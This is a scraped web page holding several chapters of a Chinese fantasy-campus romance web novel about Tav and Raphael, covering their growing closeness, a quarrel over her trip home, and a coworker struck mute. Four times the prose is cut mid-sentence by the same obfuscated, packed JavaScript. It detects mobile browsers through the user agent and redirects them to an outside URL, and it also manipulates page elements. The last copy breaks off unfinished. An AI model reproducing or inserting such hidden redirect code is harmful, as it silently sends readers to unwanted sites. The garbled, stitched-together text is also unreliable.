塔夫想要忍住笑,没成功,噗嗤笑出声,抿着嘴酝酿几次,发现已经没有了支持自己继续冷嘲热讽的恼火,朝拉斐尔点点头:“我说完了。” . 塔夫不再郁气,赶回餐厅。 诺亚也终于被拉斐尔放开。 但他反而感到更加恐惧,连挪动双腿都做不到,只能盯着对方心不在焉地手指抵在下巴上,思索着什么。 他甚至没有在看他。 可他为什么无法趁机逃走? “你……”诺亚刚说出一个字,就发现牙齿竟止不住打颤,猛地合上嘴,重重咬到舌头,满口血腥。 “你可是让我非常为难,诺娃。你无视我之前的警告,对塔夫说了这么多句。”拉斐尔若有似无地叹口气,“不过我一向厌恶粗暴的行径。不如这样好了,我和你玩一个游戏,你有两个选择,非常公平。” ??? 真是见鬼了。 我的名字不是诺娃! 谁想和你玩什么游戏! 用脚趾头想想都不可能公平! 不过这并不重要,诺亚堆出笑容,想要说什么,但听到拉斐尔又一番话后,就只顾得上连连点头。 …… . 另一边,周六晚上餐厅生意依旧忙碌,直到营业结束后,塔夫总算能告诉弗兰几人发生了什么。 她没记能住诺亚的原话,余光瞧见帮厨姑娘也凑过来后,添油加醋把他不小心暴露的“自我分析”形容一遍,最后道:“他居然还好意思要我请他喝酒!?” 弗兰立刻铿锵有力地附和:“诺亚的确是这种人。” . 揣好近一百金币的丰厚小费,塔夫重新见到拉斐尔: “刚才没有机会告诉你,你上次猜的没错。”她同他边走边说,“那金领带夹果真是诺亚找女生要的礼物!” 拉斐尔只是点点头,塔夫又忍着笑问:“对了,你当时干嘛盯我一眼?” “?” 塔夫重复一遍对诺亚的讽刺:自以为是、没有自知之明,到最后可惜长相的时候,她自觉停下:“还挺贴切的吧。哦,你不知道之前发生了什么。” “我一直在。”拉斐尔简单解释他在二人身后,又继续回答塔夫刚才的问题,“因为这听上去也是你对我的初印象。我以为……你当时也在顺便和我打趣。” 塔夫一下子恍然:“那可不一样。”她笑着瞄拉斐尔一眼,“你的初印象可比这个要差劲得多!” 拉斐尔伸手要去敲她眉心。但塔夫早有准备,灵巧躲开,一脸得意:“而且你这不是挺有自知之明的?所以对你不成立。”拉斐尔只好笑着叹一口气,掌心向上冲她伸出手。 “?”这次换成塔夫不解。 “一个小游戏。” 他教塔夫几个手势,是他同兄弟会朋友之间做的,如果一个人让对方无话可说,对方便摊开手,大概表示这轮到此为止,休战或另起一轮。 塔夫兴致勃勃同他击掌、虎口.交叠、拇指比十字……最后,拉斐尔转下手掌,同她五指相对,他抬眼望着她,又慢慢变成手指相交。 这个不直接的家伙。 塔夫心里好笑但也甜滋滋的,回握住他,变成十指相扣。 结果没走几步她就别扭起来,拉斐尔却不肯松手。 “不行不行,实在受不了,我的拇指得在上面!”塔夫终于发现别扭之处,抽出拇指搭在拉斐尔之上,舒服地叹一口气,“虽然其实还是哪里有点不对,不过这样感觉好不少。” “上次可并没有这样。”拉斐尔表示也想要拇指在上,并立刻付诸行动。 你一下,我一下,两人之间爆发了拇指战争。 一边走一边拇指打架,最后拉斐尔找到区别,提出休战:“我们上次牵的是另一只手。” 他松开手,放慢一步落在塔夫身后,同她调整位置到另一侧。过程中二人一起笑起来。 “可真够幼稚的。”塔夫扭头望向他,笑着说。 拉斐尔已经追上一步,又朝她晃晃手掌,要她快些把手递给自己重新牵上。 塔夫却道:“简直太奇怪了,你怎么无论用哪只手都要拇指在上?如果你自己两手交握的话,难道也要相互打架不成?。” 拉斐尔这次成功轻敲在她眉心:“你才是,哪里来这么多奇怪的问题?” 塔夫催促:“你快握手让我看看!别多想,自然些。”说着她自己先握住,“我是左手拇指在上面。” 拉斐尔便也抬起双臂握住手,不等塔夫分辨是哪只拇指在上,他迅速换了另一种方式:“都可以。”接着更迅速地松开,要塔夫快点重新牵手。 塔夫无奈又好笑:“我看见了!你换边之后是左手。所以最开始,也就是自然状态下,你是右手在上,跟我正相反。”她嘀咕起来, “刚才是我的左手牵你的右手,因此我们才都想在上边。但是现在的话,我们就没问题……诶?我们应该都想要在下边才对。” 拉斐尔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137257|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口咬定:“我都可以。” 塔夫再一次奇怪道:“既然如此,就是在上在下都可以,那你刚才非要在我上面做什么?现在还特意换了个位置。” 于是,两人又就这个问题爆发了第二次拇指战争。而这次战争结束的标志,则是拉斐尔一把牵过塔夫的手。 塔夫乐不可支:“我们一样或者相反,又没有什么大关系。” 拉斐尔没吭声,只是紧紧握住她的手,拇指牢牢搭在她的上面。 塔夫一下想通了什么。 如果按最自然的习惯的话,上次牵手时拉斐尔大概并不舒服,但没有像她这样直接说出来。而这次,则更多是为了和她嬉闹。 “谢谢你。”她捏捏拉斐尔的手,“如果你不舒服的话也跟我说嘛,我们可以换着来。” 拉斐尔仍然没说话。塔夫侧头瞧见他居然脸红起来,越发觉得他英俊可爱。只有牵手一点都不够!她现在就想摸摸他的脸和耳朵。 但她又不好意思对拉斐尔说,我们别遵守那五周——现在是四周——的约定了,除了显得她没有耐心外,她更会觉得自己分不清轻重缓急。 至少等到期末之后。 想到正事,刚好之前的话题也结束了,塔夫便同拉斐尔说起准备用等身幻影做宣传的事: “我准备去学校的法师塔请一位法师帮忙,你有什么建议吗?” ——毕竟赛艇队可是经常大手笔地雇佣法师。 “我和你一起。”拉斐尔立刻说,语气不容置疑,“法师都性格高傲自大,很难打交道。” “我对此很有经验”塔夫意味深长地笑着瞥他一眼,举的例子却是,“而且盖尔教授也没有很难打交道。” “盖尔对愚蠢和错误的容忍程度如何?” “……好吧,你说得有一定道理。” 最后,塔夫和拉斐尔约好周一下午在法师塔碰面。 看来这次是真的要狐假虎威了?塔夫想了想,还是与拉斐尔确认,商议什么的都由她来说,如果法师要价明显不合理,他再提醒她。 “态度不好没关系,我能处理,至少试试看。但我不太清楚法师的要价。”塔夫说着计算起来, “我们今年的预算还剩下接近一千七,留一部分给里萨、泽希诺、海报、印刷、零食、以防万一……用在法师身上的最高可以有六百金币!” 她好像计算得太琐碎了,见拉斐尔微笑瞧着自己,塔夫莫名有些脸热,想到他出手就是几万的支票,又强调:“不够的话,你不要偷偷为剧团添,至少一定要偷偷告诉团长我。” “我知道了。”拉斐尔说,把掌心的手握得更紧。 可惜,时间过得这么快,已经到她的宿舍塔楼下。 “又让你暂时逃过了。”塔夫听上去也有些遗憾,“向我坦白——寻找我的恐惧的全过程!” “那我接下来需要准备得更完善才是。”拉斐尔不舍,但塔夫已经松开手。 她垂眼犹豫片刻,又朝他微微扬起头:“告别……拥抱?” 下一秒,拉斐尔已经将她整个搂在怀里。不是礼貌性质的、更像是碰下肩膀的告别拥抱,而是真正的拥抱。 他大概搂得太用力了,也太久了,怀里的人挣扎起来,他虽然不愿意也只得松开她。 一点一点地。 慢慢地。 塔夫终于找到机会抽出手臂:“我胳膊也得在上面。” . 56.拥抱 不等拉斐尔回答,塔夫已经举起手臂搭在他肩膀,半环过他的脖子。 拉斐尔重新揽住她,又俯下身更多让她抱得更轻松。塔夫同一时刻踮起脚,舒舒服服地合拢双臂。 ——她真的好可爱啊。 ——他真的好可爱啊。 塔夫头靠在拉斐尔肩膀,忍不住把脸埋在他颈侧。他也是如此,温热呼吸拂在她耳后,和柔软的头发一起带来些许痒意。 一小会。 就再抱一小会。 …… 直到忽然听到一声轻响,塔夫才惊醒似的收回手臂,重新站回地面。 是一只鸟扑棱着飞走,或者是一只松鼠在树丛间跳过。 塔夫一下能够重新感受到自己的心跳,而且越来越快,让她几乎无法抬头看拉斐尔,飞快说了句“周一见”就忙不迭地垂着头逃进宿舍塔楼。 走上一整段台阶,她才转过身,看到拉斐尔仍然站在那里,脸隐藏在阴影中,只有一双眼睛始终明亮,似乎一直在看着她或等着什么。见她回过头重新望向他,他才后知后觉地回答说:“周一见。” . 她忘记答复拉斐尔校友日的约会邀请了。 塔夫洗过澡才想起来这件事,不由得有些懊恼。 虽然她仍没有收到船社的回函,但至少可以告诉拉斐尔自己的考虑,做了什么又在等什么,所以还没办法答复他。 她一时坐立难安,干脆又跑下楼。 拉斐尔当然已经不在那里。 说完全没有失落是假的,但塔夫已经回过神来,这跟拉斐尔没关系,是自己行为实在没经大脑,又忍不住好笑起来。 她一口气重新爬了回去,身上几乎微微出汗,而影心正向门外张望。 她刚才连门都忘记关了。 “出门得有些急。”塔夫同影心一起回房间,半是笑着半是自嘲地说起来自己刚才的冲动,“明明两天后再回复拉斐尔也没什么。真是有点可怕,我现在已经想不起来我当时是怎么想的了,像是连那段记忆都模糊了。” 影心笑起来:“我能看出来你是真的很喜欢他。” “嗯。”塔夫唇角翘得更高,眼睛望向影心,但又明显没在看她。 影心顿了顿:“你想听听我的想法吗?”说着又拍拍身旁位置。 “当然。”塔夫一激灵,靠了过去。 “那么作为经验丰富的过来人,我得说,”影心夸张地清了下嗓子, “喜欢一个人就是会情不自禁做一些平时不会做的事,而且那投入的瞬间简直太美妙不过了——好像身体和大脑在那一刻都不属于自己,一种忘我的满足感。” 塔夫连连点头。 “不过,”影心话锋一转,“也许说这还有些早,但偶尔也向后退一步,看看他有没有用心回应你,别忘了你的感受也同样重要。而且也别因为他很特别,就忽略了其他重要的事情,比如两周之后就是期末周了。” 塔夫觉得自己大概被激发了拥抱癖,这已经是这周第三次了,但她还是一把抱住影心,蹭着她的脸:“你真好!我好幸运能够认识你啊影心!我决定,我要教你防身术作为回报!” “恶!肉麻死了!快给我下去!你头发还是湿的在滴水!到我衣服里了!你怎么这么固执啊!这真的是回报而不是对我的折磨吗!?” …… . 一个拥抱似乎比任何语言都更有力。 拉斐尔仍有些难以置信。 当塔夫问出那句邀请时,他脑海有瞬间空白,身体已经提前给出了答复。 当塔夫主动搂住他时,哪怕她没有说一个字,他的期待也一下全部都得到回应,一些之前没有发现的紧张和担忧,也突然都烟消云散了。他措手不及,却又甘愿沉浸其中——模糊周围的幸福,难以言喻的感激之情,甚至让他忍不住憧憬起未来。 可当他回过神来的时候,却重新感到一种…… 恐惧。 这感觉太过强烈了。 明明不再应该是陌生的,却仍然崭新和不同。是因为他不由自主地期待起未来?未来是未知的,过高的期望也总是带来对潜在失望的担忧。 除此之外,他还知道,他没办法向任何人诉说这种感受。多可笑啊。一个成年男人,只因为拥抱了一个女人——虽然她是最可爱最迷人的女人——就有如此多的爱慕与激动之情,仿佛这是一件超乎寻常的重要的事,甚至到了不吐不快的地步? 不,当然不能。他不能对任何人表露自己对塔夫的感情。不能对哈勒普,不能对阿斯代伦,兄弟会的一群人更不能。他不能。 可他也无法阻止这感情,只能抑制,而抑制是滋生恐惧的土壤。 他突然想到威尔的一番话——不得不装出别人期望中的某种样子,否则就会显得矫揉造作。他只能扮演出一种坦率,而那就不可能是真正的坦率。 除了面对塔夫的时候。 他想现在就见到塔夫。 她一定会被惊吓到的。他也太过激动了。这不是他第一拥抱她,为什么赋予这次这么多意义。因为是她主动提议的?可她提议的不过是告别拥抱。 拉斐尔努力保持着平衡和冷静,告诫自己在过度解读。这只是一个举动,一个瞬间,不能代表很多,更不能代表一切。拥抱之后,她的情绪似乎没有那么轻松自在,也并没有回复他几天前的约会邀请…… 他发现自己的思绪开始转向“她真的会答应吗?”直至“她真的想要进一步的关系吗?”,总算及时叫停这另一个方向的矫枉过正。 . 接下来的一天半,拉斐尔用训练和阅读塞满时间,但那被压下的感情仍时不时跳出来,让他的心情像钟摆一样在期待和担忧中左右摇晃。 晚餐第三次走神时,他冲动之下要哈勒普推荐一本爱情诗集。 “不要问我原因。也不需要告诉我推荐理由。”他话说出口,又迅速要求。 哈勒普砸砸嘴,最后只说:“没问题。”然后把自己正在重看的一本经典递给他。 而令拉斐尔几乎不愿意承认的是,他从那些原本并不符合他喜好的、充满也许是象征主义滥觞的诗歌中,找到一些出口,甚至获得了一些慰藉——他的感受并不是孤立的,也远没有达到无药可救的程度。 “我的爱如同热病, “但我却总是期许延长这病症。 “理性——那为我爱情诊治的医生, “恼我不遵医嘱,终于拂袖而去。 “理智离开,我再难医治, “而我早已在绝望中知道: “欲望即是死亡,病患回天乏术。” …… . 另一边,塔夫一面期待着周一下午的见面,一面做了许多事。 除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151223|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了颇有效率地完成复习计划,她还和绘画部约好周六下午的时间。接着,她又同威尔和他的朋友见了一面,接受他们的正式道歉——尽管她后来和威尔说过没关系。 她瞧了那个瘦弱文静的学生一眼,他便腼腆地低下头,正是她当初猜测的“罪魁祸首”。 至此,令她与拉斐尔相遇相识的这件小事,在整整八周后终于画上句点。 既然和拉斐尔的关系已经改变,塔夫虽然没有细说,但还是告诉威尔,她已经不再对拉斐尔充满敌意,一门心思想要看他的笑话,不过之前的演出邀请仍然有效。 “我当然会去。”威尔说,“和我的朋友们一起。” 以及最后,周一早上,她收到了船社的回函。 . 下午。 塔夫提前来到法师塔。 拉斐尔已经等在那里,远远见到她就弯起唇。塔夫没有想象中那样兴奋,更多的甚至是不安。 她一时不知道应该怎么告诉他这件事,甚至有些不敢告诉他。所以她决定还是先打起精神,和法师商议时间安排后,再回复拉斐尔。 他现在能感受她的恐惧吗?塔夫笑着和拉斐尔打招呼,心里想的却是希望他不要太快发现。 “有些紧张?”拉斐尔问。 “嗯。”塔夫嗓子发干,咽了下口水,“我从没有正式和法师打过这种交道。”拉斐尔似乎想要牵她的手,但她已经直接朝法师塔走去,“不过没什么,总有第一次嘛。” 她的第一次很快就被拦下了。 和赛艇队一样,法师塔也需要预约才能拜访。 塔夫知道自己在迁怒——因为法师塔周末并没有人,她最早只能这个时候来——却还是忍不住有些不满地瞪向拉斐尔:他周六晚上并没有提醒她。 拉斐尔嘴唇绷紧些,上前同值班法师迅速说几句,二人便被一起迎了进去。塔夫怔了怔,同他低声道句“谢谢”就迅速移开视线,心里却更加不快。 她到底在生什么气。 塔夫连忙长长呼一口气,凑近对拉斐尔小声说:“幸好我和你一起过来,你一向可靠!” 拉斐尔笑着瞧她一眼,低声回:“不过接下来就要看团长你的了。” 他整个人似乎放松一些。很显然,他察觉到了她刚才的不快,也因此有些紧张。奇怪的是,塔夫却一下从容起来:拉斐尔会理解她的。 . 不知道拉斐尔的影响具体有多少,不过接下来塔夫和法师的商谈很顺利。在预算内,她不仅约定下一段十五秒钟长的等身幻影宣传影像,还在拉斐尔的建议下,又花五十金币,使用掉全部预算,多换得一张幻影海报。 “多亏有你在!”虽然没遇到任何麻烦,法师态度也是公事公办的严肃,但塔夫签下书面协议又支付定金后,仍是松一口气,“幻影海报是什么新技术吗?” “一直存在。”拉斐尔这次很主动地解释起来, “不过有影像的情况下,人们一般不会选择平面形式,因为那其实是静止的一帧幻影,同样只能持续几个小时。而能够用来长期保存幻影的媒介又十分稀少,不会单单只记录一幅画面。” 塔夫惊叹称奇,同拉斐尔一起离开法师塔。 下午的阳光仍明媚到近乎刺眼。 她再次紧张起来,踌躇准备好久,终于还是说:“拉斐尔,我……很抱歉。” . 57.理解 “校友日那天,我恐怕没办法和你……一起。” 塔夫说完就迅速偏开视线。她当然要解释的,可是一时却顿住了。 拉斐尔沉默片刻,牵起她的手:“我们去那边树荫下。” 他听上去很平静,似乎并没有多失望的样子。这反而让塔夫怔了怔,仰头望向他,从这个角度看过去的侧脸同样英俊,表情果然也是平静的。 他其实,并没有她想象中那样在意? 塔夫原以为自己会松一口气,却升起矛盾而又微妙的失落以及恼火,边走边告诉拉斐尔她的原因: 她需要坐船回家,校友日第三天有一艘船离港。那班船的时间是唯一合适的,接下来整整一周多近两周,都没有在农场附近小镇停留的船只。 她很幸运,提前询问了船社,得知仍有几张余票。她过去总是通过他们联系,相互熟悉,所以他们会为她留下一张,前提是这周收到她的肯定答复,于是她便立刻回信订下船票。 ——而她是因为拉斐尔的邀请才提前去信,才有机会赶上这班船,现在的结果却是没办法答应他。 “你不生气吗?”塔夫说完,忍不住问。 “不。”拉斐尔又补充,“至少不是最主要的。” 塔夫反而更加气愤,向拉斐尔追问:“为什么呢?” 他真的不在乎吗?那当初又为什么要邀请她呢? “你想先说说看你的感受吗?”拉斐尔握紧她的手,“你又期待我如何回应?” 塔夫本就情绪上涌有一肚子话,又知道拉斐尔倾听时很有耐心,干脆从最开始讲起: “我先是觉得内疚。除了因为要拒绝你感到不安,也认为自己的做法对你不太公平。刚才在法师塔的时候,我还下意识地想要找你麻烦挑你的错,仿佛这样一来我们就能扯平了。” 她说着自己愣了下,这才继续道, “我现在知道这根本是不相干的两件事,我得谢谢你陪我去法师塔。 “至于我的期待,我说不好这算不算是期待,但我本以为你会生气,因为我就这样拒绝了你的邀请——至少,我没有提前问问你就直接做了决定。” “我的反应和你预计的不一样,”拉斐尔询问,“你因此感到不开心?” “是,也不全是。主要是我看到你既不生气也不失望,所以觉得你其实并没有那么在意这次邀请,当初只是顺嘴一提。反而是我感到失落,因为我很期待。 “可是尽管如此,我还是做出了相反的决定,这好像又说明我自己的在乎和重视很……虚伪,经不起推敲。” 她说着又沮丧起来, “而我刚才居然还能因为你的反应生气?!所以我可能也是在生自己的气,又觉得这也不能全怪我,结果最后还是把你当成了发泄的对象。诺亚说的对,我总是这么情绪化,无论对谁都不……” “他说得并不对。”拉斐尔打断她,“我很喜欢你……的情绪。我也并不觉得你虚伪,或是发泄,你正在很直接地向我倾诉。我认为你情感细腻丰富,因此有感染力。” 塔夫脸有些红:“你明明没有被感染,就只有我一个人在生气。” “刚才听到你说很期待,我非常开心。我也同样感到失落,只是我表现出的反应可能没有那么激烈。” “你是在说我表现得很激烈?” “从你刚才的语速来看,是的。” 塔夫又好气又好笑地瞪他一眼:“?!” 拉斐尔轻咳一声:“那你现在,想要安慰,比如一个拥抱吗?” 塔夫怔了怔,还是挪到拉斐尔身前,又慢慢环住他的腰:“谢谢。刚才对不起。” “这没什么,你只是在表达自己。唔,在法师塔的时候,你曾想控制我的情绪,让我感到歉疚。不过既然那并没有实现,你也不需要道歉。” “喂。”塔夫顿时恼羞,感到拉斐尔在自己头发上吻了下,气又消了大半,手臂收紧,在他身前舒舒服服靠了会,听到他问:“以后这种情况,你希望我表现出生气的样子吗?” “什么?当然不是。”塔夫一下松开手,站直仰头去看拉斐尔。他也正垂着头,表情不是在开玩笑,还颇为认真,倒让她有点不知道如何回答。 “并不是真的和你吵一架。”拉斐尔解释说,“但我希望可以让你感受到我的在意。” “那更不需要啦,完全可以用别的方式。”塔夫忍不住笑起来,“其实这样就挺好的,只是我可能更熟悉生气这种表达?” 虽然拉斐尔那样说,她其实并不喜欢自己的脾气。 有的时候情绪上头说了什么话,对方受伤愤怒,一来一回让事情升级恶化,还要之后再去弥补。 拉斐尔并非不在意,会陪在她身边由着她说,同时不会因为她的情绪也跟着发怒或失去控制。她反而感到更轻松,表达的时候也更平和了。 塔夫想到这儿,愈发觉得拉斐尔讨人喜欢,重新挨蹭到他怀里,学着他的方式问:“也告诉我你是什么想的吧。” 拉斐尔轻轻搂住她:“我的第一个想法是,你的船是几点离港。” “下午,所以我一早就要出发。”塔夫立刻回答,接着想到既然拉斐尔说了第一个,就意味着不仅仅是一个,又连忙道,“你继续说。” “嗯。”拉斐尔应了声,但过了片刻才重新开口, “第二个想法,一个听上去不算愉快的想法,是你直到现在才告诉我这件事——你暑假会坐船回家。 “如果我没有提前约你一起庆祝校友日,你会什么时候告诉我,还是根本没有这个打算。” 塔夫下意识站直,解释说:“我原本再等一周就会询问船票的事。” 拉斐尔没有受她的解释影响,望着她继续道:“与约会相比,早点回去见到家人更重要。我可以理解你的选择。” 塔夫忍不住又解释起来:“我其实也……” “我还没有说完呢。” 塔夫愣住。她已经记不得拉斐尔上次说类似的话是什么时候了。 似乎直接把话说出口的过程,也让拉斐尔逐渐感受到气愤。他语气仍算是平静,但口吻已经隐约带上嘲弄: “看来你仍没有意识到,这还意味着什么。 “你希望演出结束、契约终止后再确定关系,我也可以理解。不过,真的等到那个时候,你打算和刚刚开始交往、心里毫无准备的男友说:你要回家了,三个多月的暑假结束后再见?” “我……的确没有想到这点。但等到演出之后再谈谈我们之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168172|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关系,这个提议你当初也是答应了的。” “也许那是因为,”拉斐尔语气不无讥讽,“我当初并不知道这些。” 塔夫一直在劝自己保持镇静。拉斐尔这反应其实不正是她刚才预期的吗。现在这样二人轮流,一人感到愤怒,一人冷静安抚,不是更好吗。然而她刚才的恼火本就将熄未熄,此时很容易又被重新点燃:“那你的意思是,你现在知道了这些,已经反悔答应我了?” “那并不是我的意思。”拉斐尔说, “演出结束当晚就谈是我建议的,第二天的约会邀请是我发出的。如果我什么都没有做的话,你的计划是什么?等到夏天结束、新学期开始的时候再说?把我们的事情向后拖,这就是你能想到的最好的方法?” “什么?”塔夫听到这似曾相识的话,没有怔忡太久,又听到四点的钟声敲响。 “我半个小时后要和盖尔教授见一面,拿推荐信。”她呼出一口气,“我们都先冷静一下,我之后向你解释。” “有趣。”拉斐尔讽笑,“你立刻用行动证实了我刚才的话。” 塔夫气得猛地盯住拉斐尔:“你对我的期待又是什么?事事以你为优先?” “不是我!”拉斐尔纠正她,“是‘我们’!” “可根本就还没有什么‘我们’。”塔夫说, “和一个不存在的东西相比,当然是我的学业、我的推荐信、我的家人更重要,这也是为什么我希望这一切告一段落之后,再和你谈谈‘我们’这个‘未来’的关系。” 她说着语气又放软了些,“我承认,在回家这件事上我没有考虑周全,应该说我根本没有想过这回事,而不是故意拖延或隐瞒。” 拉斐尔冷哼一声:“无论有意或无意,结果并没有区别,不是吗?” “你一定要说结果?”塔夫重新被激怒, “好,那我问你,你怎么如此肯定我们的关系一定会有结果。你对我的那番指责,抛下毫无准备的‘男友’,哼,根本毫无根据! “如果这个如果那个。那如果是这样一种可能呢,我们‘谈谈’之后,决定还是不要再继续谈下去的好,所以我根本没必要告诉你我要去哪里,我回家还是不回家或者什么时候回家,都跟你没有一点关系!” 拉斐尔张了张嘴,鼻翼翕动,似乎恼恨之极,又立刻重新抿住唇,别过头。 塔夫也别开脸:“我得先走了。” 拉斐尔始终没有说话,塔夫走了几步自己停下,微微侧过头:“刚才在法师塔……真的很感谢你。” 她等了几个呼吸,还是没等他的回应,转身离开。 她怎么又说了这种奔着伤人去的话。 拉斐尔接住了她的倾诉,可是她没有。 越是对熟悉的人,她反而越容易得意忘形。他真的了解她之后,还会说出喜欢吗。 . 拉斐尔怔怔看着塔夫背影消失。 她其实不想继续下去吗? 至少她并没有准确肯定的答案,她和他的关系一定会继续下去。 那她和他约定的那个时间算什么。 她和他现在算什么。 还有他…… 他在她心里,又算什么。 . 58.惩罚 “期末压力有些大?” 盖尔笑眯眯瞧着塔夫,“很快你不用再做我的教学助理,就终于能松一口气啦。” “教授!”塔夫有些无奈。 “好了不逗你了,给,你的推荐信。”他说着递给塔夫两卷火漆封口的羊皮纸, “还有一封,下学期会直接寄给费伦最高奖的评奖委员会。 “祝你申请顺利。不如说,你的申请一定会成功。” “谢谢你,教授。” . 塔夫小心装好推荐信,离开办公室时心里生出期待。 拉斐尔不在门外。 她原路返回再次来到法师塔。 拉斐尔也不在那里。 他明明知道她要去哪里的。 他现在在哪儿? . 拉斐尔沿冲萨河一路慢跑回住处,又冲了个凉水澡,心里的不甘这才少了一些。 塔夫也是期待约会的,他清楚这一点。但他也同样清楚另一点,自己在塔夫心里的分量,并没有她在他心里那么多。 二人的关系,全部是由他在主动推进和维系! 当他意识到自己心态失衡时,已经用假设的可能问出指责的话。他应当清楚的,以“如果”为开始的质疑,最好也只能算是诡辩,无法作为可靠的论证。偏偏钟声在那时响起,她又直接做出了他所质疑的可能。 ——或者说,他过去两天担心甚至惧怕的现实。她真的想要进一步的关系吗? 她对他的初印象并不好,他甚至不知道她是什么时候改变的想法。 他自然知道自己的优势,但他也记得塔夫的评价。对她来说,那些大部分不过是华丽的外壳。虽然他并不惊讶她仍会被吸引,可在了解他本身后,她的喜欢会持续多久?或者如同她当初那番话所说,不会对他本人有兴趣? 她刚才简直像只野生动物,仿佛凭借本能就能找到他的弱点,一击即中。 真是可怕的反应。 他几乎再次感到恐惧,却不是因为塔夫,而是因为在她面前,他的表现会变得奇怪,说出平时不会说的话,再花时间思考这些平时不会想的事。 可是他好想见她…… 塔夫一定也是想见他的。 毕竟,她才主动拥抱了他不是吗。 也许他可以换一种方式,让塔夫需要他。 …… . 塔夫考虑第二天早上去赛艇队找拉斐尔,又立刻否决了这个念头。 哪怕她知道争吵有的时候不是为了分出对错,而是——像拉斐尔说的那样,更好的了解对方,找到彼此合适的相处方式,但她还是不想。 凭什么总是她。 拉斐尔唯一一次道歉,还是她哭着求来的! 这话是有些夸张。 不过,反正她这次是不会主动和他说的! 好在一上午的课,让塔夫没有多余时间胡思乱想。下午又和菲拉几人见面,更新剧团进展外加准备周六预演,期间她虽然不得不提到拉斐尔一次,那名字也很快淹没在更多嬉闹讨论中。 很快到了需要赶去餐厅兼职的时间。 塔夫同菲拉她们笑着道别,忽然感到一阵……失落。 是因为最近几次餐厅的来回路上总是有拉斐尔相伴吗。 习惯真是件可怕的事情。不过几次而已,她居然已经会因为拉斐尔不在身旁而感到不习惯。 . 来到餐厅,塔夫决定抛开熟悉的炸鱼三明治,挑了个她始终不想尝试的猪肩膀肉配腌卷心菜三明治。 ——来自帮厨姑娘的极力推荐。 事实证明,之前的她是对的,她的确不喜欢。 如果不是因为这搭配是北地无冬城的特色,同时也是学生餐厅的常驻菜,她简直要怀疑这是帮厨姑娘在为诺亚向她出气了。 塔夫坐在休息室,正就着水囫囵生吞三明治时,弗兰忽然推门而入,见到她便问: “你听说诺亚的事情了吗?” “没有?”塔夫有种不详的预感,“他今天又要替酒保?以后每个周二都会这样吗?” 弗兰仔细瞧了瞧她:“不,他可能要休息一段时间。” “为什么?” “他没办法说话了。也没办法听懂别人说了什么。” …… 塔夫开始工作时,耳边仍回荡着弗兰的话。 侏儒奶奶带诺亚去了镇医院。 医生说是神经性失语症,头部没有受伤,只是心理作用。 诺亚没有念过书,只能写一些简单的字,现在处于完全没办法交流的状态。 你知道发生了什么吗? 塔夫在心里替弗兰问出另一个问题: 是拉斐尔对诺亚做了什么吗? 塔夫一点也不可怜诺亚。 说实话,哪怕诺亚没有失语症,也不见得能够理解别人说了什么,说话时也同样没多少真实。就算他自己没有意识到(对此塔夫仍然感到不可思议),却也真的对周围人造成了伤害。首当其冲的就是帮厨姑娘,至于弗兰和餐厅其他人,哪怕没有被骗财,也不得不耗费心力应付他。 想到这塔夫怔了下。 好像她对拉斐尔也是这么个道理:虽然她没有意识到他提出的暑假回家问题,但那仍是影响到了他……不,还是有一些不一样的,她和拉斐尔的真实愿望并没有冲突。她喜欢他,也想多同他在一起。 所以她才把自己要回家这件事刻意忘到了一旁? 因为下意识地不想烦恼这件事,就干脆推后了? . 塔夫一晚上都有些心烦意乱。好在这天晚上顾客格外得少,时间刚过九点,弗兰就已经将小费计算好分给大家,提前很多闭店。 拉斐尔仍不在。 塔夫犹豫起来要不要等等拉斐尔。也许他一会来找她,毕竟他知道她今天晚上会在这里。 道别后,同事见她杵在餐厅前,问起来: “在等他?” “今天确实结束得早了很多。” “你一个人会不会不安全或者无聊。不如我陪你一会。” 塔夫终于一咬牙:“我今晚自己回去。” . 偏偏在今天遇到意外吗? 离开相对热闹的镇中心步道,塔夫和最后一位顺一小段路的同事分别,刚转过街角,就察觉身后有人跟着自己。 她几次加快步伐,那人也都随她提高速度。她干脆小跑起来,听到身后响起的跑步声,确定那人的目标正是自己。 要言语安抚,要保持距离。 塔夫在心里重复数遍,尽可能清晰地说:“你需要钱吗?我会按你说的做,不会大声呼喊。” 那人含糊说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 